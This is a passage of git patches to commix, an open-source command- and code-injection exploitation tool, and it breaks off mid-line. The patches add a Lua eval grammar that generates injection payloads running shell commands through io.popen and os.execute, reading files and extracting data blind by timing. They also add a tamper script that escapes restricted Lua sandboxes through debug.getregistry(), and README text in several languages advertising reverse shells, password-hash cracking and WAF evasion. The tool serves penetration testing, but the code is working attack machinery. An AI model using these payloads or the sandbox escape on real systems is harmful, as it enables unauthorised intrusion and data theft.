[`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript`, `PowerShell`, `Perl` or `Lua`, over those same techniques. * **Wherever input lands** - GET/POST parameters, [HTTP headers and cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, plus the `shellshock` module for CGI targets. * **From proof to shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), built-in `reverse_tcp` and `bind_tcp` upgradeable to a full PTY, file transfer, Windows registry read/write, and enumeration through to password hashes with a dictionary attack offered against them. * **Filter and WAF evasion** - combinable tamper scripts, applied in a deterministic order - see [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a62c1f050e..e85c7dc9fd 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New `--eval=lua` support, for a sink evaluating Lua. * Added: New `--eval=perl` support, for a sink evaluating Perl. * Added: New tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload. * Added: New tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject`. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 88976d7cce..8f084f18ed 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -36,7 +36,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **Cuatro técnicas de inyección** - results-based, boolean-based, time-based y file-based, elegidas con `--technique` o según el tipo con el que se informan con `--type` - consulte [techniques](https://github.com/commixproject/commix/wiki/Techniques) para ver qué exige cada una de un objetivo. * **Out-of-band, cuando no vuelve nada** - `--oob` demuestra la ejecución y trae de vuelta la salida del comando sobre HTTP/S o DNS, llegando al servidor mediante el cliente que el objetivo tenga - consulte [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) para ver cuáles prueba y cómo fijar uno. -* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript, PowerShell o Perl, con esas mismas técnicas. +* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript, PowerShell, Perl o Lua, con esas mismas técnicas. * **Dondequiera que llegue la entrada** - parámetros GET/POST, [cabeceras HTTP y cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), cuerpos JSON/XML/GraphQL, además del módulo `shellshock` para objetivos CGI. * **De la prueba a la shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), los modos integrados `reverse_tcp` y `bind_tcp` ampliables a una PTY completa, transferencia de archivos, lectura y escritura del registro de Windows, y enumeración hasta los hashes de contraseñas, con un ataque de diccionario ofrecido contra ellos. * **Evasión de filtros y WAF** - scripts de manipulación (tamper) combinables, aplicados en un orden determinista - consulte [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index f45e9c504b..3536b9b1d1 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -35,7 +35,7 @@ * **چهار تکنیک تزریق** - results-based، boolean-based، time-based و file-based، که با `--technique` یا بر پایه نوعی که با `--type` گزارش می‌کنند انتخاب می‌شوند - برای اینکه هر کدام چه چیزی از هدف می‌خواهد [techniques](https://github.com/commixproject/commix/wiki/Techniques) را ببینید. * **out-of-band، وقتی هیچ چیز بازنمی‌گردد** - سوئیچ `--oob` اجرا را اثبات می‌کند و خروجی فرمان را روی HTTP/S یا DNS بازمی‌گرداند، و از راه هر کلاینتی که هدف داشته باشد به سرور می‌رسد - برای اینکه کدام‌ها را می‌آزماید و چگونه یکی را تثبیت کنید [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) را ببینید. -* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript، PowerShell یا Perl و با همان تکنیک‌ها آزمایش می‌کند. +* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript، PowerShell، Perl یا Lua و با همان تکنیک‌ها آزمایش می‌کند. * **هر جا که ورودی فرود آید** - پارامترهای GET/POST، [سرآیندهای HTTP و کوکی‌ها](https://github.com/commixproject/commix/wiki/Usage#request-options)، بدنه‌های JSON/XML/GraphQL، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **از اثبات تا پوسته** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells)، حالت‌های داخلی `reverse_tcp` و `bind_tcp` با ارتقا به یک PTY کامل، انتقال فایل، خواندن و نوشتن رجیستری ویندوز، و شمارش تا درهم‌سازی گذرواژه‌ها، با پیشنهاد حمله دیکشنری علیه آن‌ها. * **دور زدن فیلترها و WAF** - اسکریپت‌های tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند - [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples) را ببینید. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c1167c5e88..be76452a17 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -36,7 +36,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **Quatre techniques d'injection** - results-based, boolean-based, time-based et file-based, choisies avec `--technique` ou selon le type sous lequel elles sont rapportées avec `--type` - voir [techniques](https://github.com/commixproject/commix/wiki/Techniques) pour ce que chacune exige d'une cible. * **Out-of-band, quand rien ne revient** - `--oob` prouve l'exécution et rapporte la sortie de la commande via HTTP/S ou DNS, en atteignant le serveur par le client dont la cible dispose - voir [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) pour ceux qu'il essaie et comment en fixer un. -* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript, PowerShell ou Perl, avec ces mêmes techniques. +* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript, PowerShell, Perl ou Lua, avec ces mêmes techniques. * **Partout où l'entrée aboutit** - paramètres GET/POST, [en-têtes HTTP et cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), corps JSON/XML/GraphQL, ainsi que le module `shellshock` pour les cibles CGI. * **De la preuve au shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), les modes intégrés `reverse_tcp` et `bind_tcp` promouvables en PTY complet, le transfert de fichiers, la lecture et l'écriture du registre Windows, et l'énumération jusqu'aux empreintes de mots de passe, avec une attaque par dictionnaire proposée contre elles. * **Contournement des filtres et des WAF** - scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe - voir [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index a2425e717d..9a69e2c3ed 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -35,7 +35,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] * **Τέσσερις τεχνικές injection** – results-based, boolean-based, time-based και file-based, που επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type` – δείτε τις [techniques](https://github.com/commixproject/commix/wiki/Techniques) για το τι απαιτεί η καθεμία από ένα target. * **Out-of-band, όταν δεν επιστρέφει τίποτα** – το `--oob` αποδεικνύει την εκτέλεση και μεταφέρει το output της εντολής μέσω HTTP/S ή DNS, φτάνοντας στον server μέσω όποιου client τυχαίνει να διαθέτει το target – δείτε [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) για το ποιους δοκιμάζει και πώς να ορίσετε έναν. -* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript, PowerShell ή Perl, με τις ίδιες τεχνικές. +* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript, PowerShell, Perl ή Lua, με τις ίδιες τεχνικές. * **Όπου κι αν καταλήγει το input** – GET/POST parameters, [HTTP headers και cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, καθώς και το `shellshock` module για CGI targets. * **Από την απόδειξη στο shell** – [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), ενσωματωμένα `reverse_tcp` και `bind_tcp` με αναβάθμιση σε πλήρες PTY, μεταφορά αρχείων, read/write στο Windows registry και enumeration μέχρι τα password hashes, με dictionary attack να προσφέρεται εναντίον τους. * **Filter και WAF evasion** – συνδυάσιμα tamper scripts, που εφαρμόζονται με deterministic σειρά – δείτε [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 889855262f..e6518d6ede 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -36,7 +36,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Empat teknik injeksi** - results-based, boolean-based, time-based dan file-based, dipilih dengan `--technique` atau berdasarkan tipe yang mereka laporkan dengan `--type` - lihat [techniques](https://github.com/commixproject/commix/wiki/Techniques) untuk apa yang dituntut masing-masing dari sebuah target. * **Out-of-band, ketika tidak ada yang kembali** - `--oob` membuktikan eksekusi dan membawa keluaran perintah melalui HTTP/S atau DNS, mencapai server lewat klien apa pun yang kebetulan dimiliki target - lihat [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) untuk klien yang dicoba dan cara menetapkan salah satunya. -* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, PowerShell, atau Perl, dengan teknik yang sama. +* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, PowerShell, Perl, atau Lua, dengan teknik yang sama. * **Di mana pun masukan mendarat** - parameter GET/POST, [header HTTP dan cookie](https://github.com/commixproject/commix/wiki/Usage#request-options), body JSON/XML/GraphQL, serta modul `shellshock` untuk target CGI. * **Dari bukti ke shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), mode bawaan `reverse_tcp` dan `bind_tcp` yang dapat ditingkatkan menjadi PTY penuh, transfer berkas, baca/tulis registry Windows, dan enumerasi hingga hash kata sandi, dengan serangan kamus yang ditawarkan terhadapnya. * **Pengelakan filter dan WAF** - skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik - lihat [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 7ba62266b1..5da5ff488d 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -36,7 +36,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Dört enjeksiyon tekniği** - results-based, boolean-based, time-based ve file-based; `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir - her birinin hedeften ne istediği için bkz. [techniques](https://github.com/commixproject/commix/wiki/Techniques). * **Hiçbir şey geri dönmediğinde out-of-band** - `--oob` yürütmeyi kanıtlar ve komutun çıktısını HTTP/S ya da DNS üzerinden geri taşır; sunucuya hedefte hangi istemci varsa onunla ulaşır - hangilerini denediği ve nasıl sabitleneceği için bkz. [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client). -* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript, PowerShell veya Perl olarak, aynı tekniklerle sınar. +* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript, PowerShell, Perl veya Lua olarak, aynı tekniklerle sınar. * **Girdi nereye düşerse** - GET/POST parametreleri, [HTTP başlıkları ve çerezler](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Kanıttan kabuğa** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), tam PTY'ye yükseltilebilen yerleşik `reverse_tcp` ve `bind_tcp`, dosya aktarımı, Windows kayıt defteri okuma/yazma ve parola özetlerine kadar numaralandırma; bunlara karşı bir sözlük saldırısı da önerilir. * **Filtre ve WAF atlatma** - birlikte kullanılabilen tamper betikleri, belirlenimci bir sırayla uygulanır - bkz. [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index 9fd3fd3c5f..09ad84a1b4 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -26,9 +26,10 @@ from src.core.eval.grammars import javascript from src.core.eval.grammars import powershell from src.core.eval.grammars import perl +from src.core.eval.grammars import lua LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript, - powershell.NAME: powershell, perl.NAME: perl} + powershell.NAME: powershell, perl.NAME: perl, lua.NAME: lua} """ The languages that can be named with '--eval'. diff --git a/src/core/eval/grammars/lua.py b/src/core/eval/grammars/lua.py new file mode 100644 index 0000000000..2125e4ad7d --- /dev/null +++ b/src/core/eval/grammars/lua.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "lua" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Lua" + +# A constant whose value says at once that code was evaluated, and which build evaluated it. +PROBE = "_VERSION" + +# The probe on its own - already a string, so nothing here needs to coerce it into one. +PROBE_FUNCTIONS = ["" + PROBE + ""] + +# The same probe broken into the string being evaluated, one boundary per row. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + [".." + x for x in PROBE_FUNCTIONS], + ["'.." + x + "..'" for x in PROBE_FUNCTIONS], + ["\".." + x + "..\"" for x in PROBE_FUNCTIONS], + ["') .." + x + "..('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"Lua (\d+\.\d+)" +WARNINGS = ["unexpected symbol", "attempt to call", "attempt to index", "')' expected", "[string \""] + +""" +The language's own functions that run a command, widest first as the level rises. + +Each is written out whole, its module included - this language has no bare name for either, the way +one without them built in would need written out again here. +""" +EXECUTION_FUNCTIONS_LVL1 = ["os.execute"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["io.popen"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one (with '..', +# this language's own concatenation operator), and concatenation out of a quoted string the value +# sits inside - either quote reads the same here, neither one interpolating what it holds. +PREFIXES_LVL1 = ["", "..", "'..", "\".."] +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')..", "\")..", "',", "\","] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "..'", "..\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["..('", "..(\"", "--"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'--", "\"--", ")--", "]--", "}--", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "..".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. +""" + +# A string literal holding the given text. Lua strings read exactly what is between their quotes - +# nothing in one is ever read back as a variable or another expression - so only a literal +# backslash and the quote closing this one need escaping, nothing an embedded '$' or '@' needs. +def _literal(text): + return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" + +# Run a command and yield its output, through the one handle this language reads a command's +# stdout from. +def run(cmd): + return "io.popen(" + _literal(cmd) + "):read(\"*a\")" + +# Read a file and yield its contents. +def read_file(path): + return "io.open(" + _literal(path) + "):read(\"*a\")" + +""" +Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. + +Parenthesised around the whole call: 'gsub' answers the string and how many times it matched, and +the second of those would otherwise still be there wherever this sits as the last of several +arguments passed to something else - 'string.len', not least. +""" +def trim(expr): + return "((" + expr + "):gsub(\"%s+$\", \"\"))" + +# How many bytes an expression is. +def length(expr): + return "#(" + expr + ")" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +'string.byte' itself counts from one, so the index asked for here is one more than it would be +anywhere else in this grammar - answering nothing, not a byte that happens to share a value, where +the index runs past the end. +""" +def ordinal(expr, index): + return "(" + expr + "):byte(" + str(index + 1) + ") or 0" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "(tonumber(" + expr + ") or 0)" + +""" +Wait for as long as the condition is true, and no time at all when it is false. + +Both sides of this language's own stand-in for a ternary have to answer something true-like of +their own, or the 'or' beside it would run anyway - 'sleep N' always does, so there is nothing here +the empty string this grammar's halt() answers would have needed a second guard against. +""" +def delay(timesec, condition): + return "os.execute((" + condition + ") and \"sleep " + str(timesec) + "\" or \"true\")" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + # The empty string answering true here is no different from any other string to this language's + # own 'and'/'or' - unlike some, it never reads one as the false this grammar does not mean. + # Wrapped whole: '..' binds tighter than 'and'/'or' here, so the payload's own concatenation onto + # this would otherwise reach straight through 'or' into one side of it alone. + return "((" + condition + ") and \"\" or os.exit())" + +""" +Evaluate one expression and then another, within a single expression. + +'select(2, ...)' returns everything from its second argument on - both are still evaluated to get +there, so the first one's side effect still runs, but only the second is what the whole thing reads +as. The comma operator another grammar reaches for here has no equivalent of its own in this one. +""" +def sequence(first, second): + return "(select(2," + first + "," + second + "))" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "~="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index fb72a76217..1a00ea8285 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -457,7 +457,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "252" +REVISION = "253" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bfd70634097a0e440695f5d3906645863a65627e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 27 Oct 2026 06:30:32 +0200 Subject: [PATCH 0925/1023] Added new tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED` --- doc/CHANGELOG.md | 1 + src/tamper/eval/lua/__init__.py | 18 ++++++++++ src/tamper/eval/lua/luadebugescape.py | 52 +++++++++++++++++++++++++++ src/utils/settings.py | 5 +-- 4 files changed, 74 insertions(+), 2 deletions(-) create mode 100644 src/tamper/eval/lua/__init__.py create mode 100644 src/tamper/eval/lua/luadebugescape.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e85c7dc9fd..36028b96e1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED`. * Added: New `--eval=lua` support, for a sink evaluating Lua. * Added: New `--eval=perl` support, for a sink evaluating Perl. * Added: New tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload. diff --git a/src/tamper/eval/lua/__init__.py b/src/tamper/eval/lua/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/lua/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/lua/luadebugescape.py b/src/tamper/eval/lua/luadebugescape.py new file mode 100644 index 0000000000..f08c9af3ae --- /dev/null +++ b/src/tamper/eval/lua/luadebugescape.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reaches the payload's own os/io calls through the debug library's registry, for a sink + evaluating Lua with a restricted environment that leaves 'os' and 'io' out of it. +Notes: This tamper script works against target(s) evaluating Lua (i.e. option '--eval=lua'). + 'load(code, name, mode, restricted_env)' is a common way to run a rule or a script without + giving it the real globals - but 'debug' reads past that regardless of what the environment + itself holds, and the standard library modules a restricted environment left out are still + sitting in 'package.loaded', loaded there once at the interpreter's own startup rather than + read back out of whichever table the sandboxed code was handed as its '_ENV'. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + module missing from the restricted environment still reachable through introspection) +""" + +__tamper__ = "luadebugescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "lua") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Where the real standard library still sits, regardless of what a restricted '_ENV' was built +# with - loaded once at startup, not read back out of whatever table the sandboxed code was given. +_REGISTRY = "debug.getregistry()._LOADED." + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "lua": + return payload + for call in ("io.popen(", "io.open(", "os.execute(", "os.exit("): + payload = payload.replace(call, _REGISTRY + call) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 1a00ea8285..9bab065f59 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -457,7 +457,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "253" +REVISION = "254" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1884,7 +1884,8 @@ class AUTH_TYPE(object): "nashornexec": False, "pybuiltinsescape": False, "basicobjectescape": False, - "space2randomblank": False + "space2randomblank": False, + "luadebugescape": False } # Execution priority for tamper scripts; each script defines its own __priority__. From c956d528530777a56667f7534054ab320be2c559 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 28 Oct 2026 08:01:38 +0200 Subject: [PATCH 0926/1023] Improved tamper script handling, eval-language detection, and whitespace-filter bypass logic --- src/core/controller/checks.py | 81 ++++++++++++++++++++++++--- src/core/controller/controller.py | 93 +++++++++++++++++++++++++------ src/core/controller/handler.py | 4 ++ src/utils/settings.py | 21 ++++++- 4 files changed, 171 insertions(+), 28 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 57de468fba..c50db5218e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -256,8 +256,9 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese # every numeric 'test' this litmus writes leans on '-eq', whichever of the branches above built # it. 'dashlesstest' already reads that the dash-free way ('=' in its place), so one more try # with it applied is the same finding, asked a way this one filter does not catch. - if not output and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: - menu.options.tamper = (menu.options.tamper + ",dashlesstest") if menu.options.tamper else "dashlesstest" + if not output and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD and \ + not (settings.USER_APPLIED_TAMPER or menu.options.tamper): + settings.AUTO_TAMPER.append("dashlesstest") tamper_scripts(stored_tamper_scripts=True) _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, url, check_parameter, None, 1, False, 0, 0, False, @@ -2582,9 +2583,12 @@ def tamper_module_path(name): def validate_tamper_scripts(): # An encoding named the old way is taken as an encoding before it is judged as a script name. absorb_encoding_tampers() - if not menu.options.tamper: + if not menu.options.tamper and not settings.AUTO_TAMPER: return [] - raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) + # What '--tamper' named, then whatever this run adopted for the parameter in hand - the two are + # kept in separate places and only ever read together, here. + raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] + raw_scripts = raw_scripts + list(settings.AUTO_TAMPER) provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) available_scripts = list(tamper_script_paths().keys()) for script in provided_scripts: @@ -3388,8 +3392,12 @@ def tamper_dep_command_incompatible(tamper_name): The mirror of 'tamper_dep_eval_incompatible': what these scripts rewrite is the syntax of the language doing the evaluating, which a payload going straight to a shell never carries. + + 'menu.options.eval_sink' alone misses the heuristic probe 'code_injections_heuristic_basic' sends + before that option is ever set - it already carries eval syntax, not a command, which is what + 'EVAL_BASED_STATE' marks regardless of whether '--eval' was given. """ - if not menu.options.eval_sink: + if not menu.options.eval_sink and not settings.EVAL_BASED_STATE: return "The '" + tamper_name + ".py' tamper script needs code injection (i.e. '--eval'). Skipping tamper script." # Why this script cannot be applied to an evaluated language other than the one it is written for. @@ -3404,8 +3412,13 @@ def tamper_dep_eval_incompatible(tamper_name): Asked of the classic technique alone, they were skipped there and applied everywhere else - and code injection is now proven time-based and file-based as well, so the payloads they would have corrupted were being sent by every technique but the one that refused them. + + 'menu.options.eval_sink' alone misses the heuristic probe 'code_injections_heuristic_basic' sends + before that option is ever set - a shell-only rewrite applied to that probe's own eval syntax + corrupts it into something no language reads back the way the probe needs, which is what + 'EVAL_BASED_STATE' catches regardless of whether '--eval' was given yet. """ - if menu.options.eval_sink: + if menu.options.eval_sink or settings.EVAL_BASED_STATE: return "Code injection (i.e. '--eval') does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." # Why this script cannot be applied where no time-related technique is in scope. @@ -3679,13 +3692,32 @@ def escalate_waf_evasion(on_block=True): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return True +""" +Take back every tamper script this run adopted on its own, leaving the ones '--tamper' named. + +Rebuilt from scratch rather than removed one by one, the way an evasion tier that replaces another +is: a whitespace-mutating script holds 'WHITESPACES[0]' for as long as it is in use, and dropping +the script without putting the plain space back leaves every payload built afterwards carrying a +substitute nothing is applying any more. +""" +def drop_auto_tampers(): + if not settings.AUTO_TAMPER: + return + for name in settings.AUTO_TAMPER: + if name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + settings.AUTO_TAMPER = [] + settings.MULTI_ENCODED_PAYLOAD = [] + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + tamper_scripts(stored_tamper_scripts=True) + """ Tamper script checker """ def tamper_scripts(stored_tamper_scripts): # A stored session may still name the scripts by their old names, as may the command line. absorb_encoding_tampers() - if menu.options.tamper: + if menu.options.tamper or settings.AUTO_TAMPER: provided_scripts = validate_tamper_scripts() priorities = {} for script in provided_scripts: @@ -3740,9 +3772,9 @@ def _enable_tamper_script(tamper_name): if settings.TAMPER_SCRIPTS[tamper_name]: return provided = re.split(settings.PARAMETER_SPLITTING_REGEX, 